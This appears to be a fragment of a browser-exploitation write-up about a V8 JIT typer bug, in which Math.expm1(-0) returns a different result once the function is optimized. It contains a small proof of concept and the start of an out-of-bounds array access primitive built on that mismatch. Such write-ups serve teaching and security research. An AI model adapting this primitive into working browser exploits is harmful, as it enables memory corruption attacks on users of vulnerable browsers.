A Typer Bug
One of my favourites
function foo() {
return Object.is(Math.expm1(-0), -0);
}
console.log(foo());
%OptimizeFunctionOnNextCall(foo);
console.log(foo()); % d8 --allow-natives-syntax expm1-poc.js
true
falsefunction foo(x) {
let a = [1.1, 2.2];
let b = Object.is(Math.expm1(x), -0);
return a[b * 1337];
}More Writeups
Last updated
Was this helpful?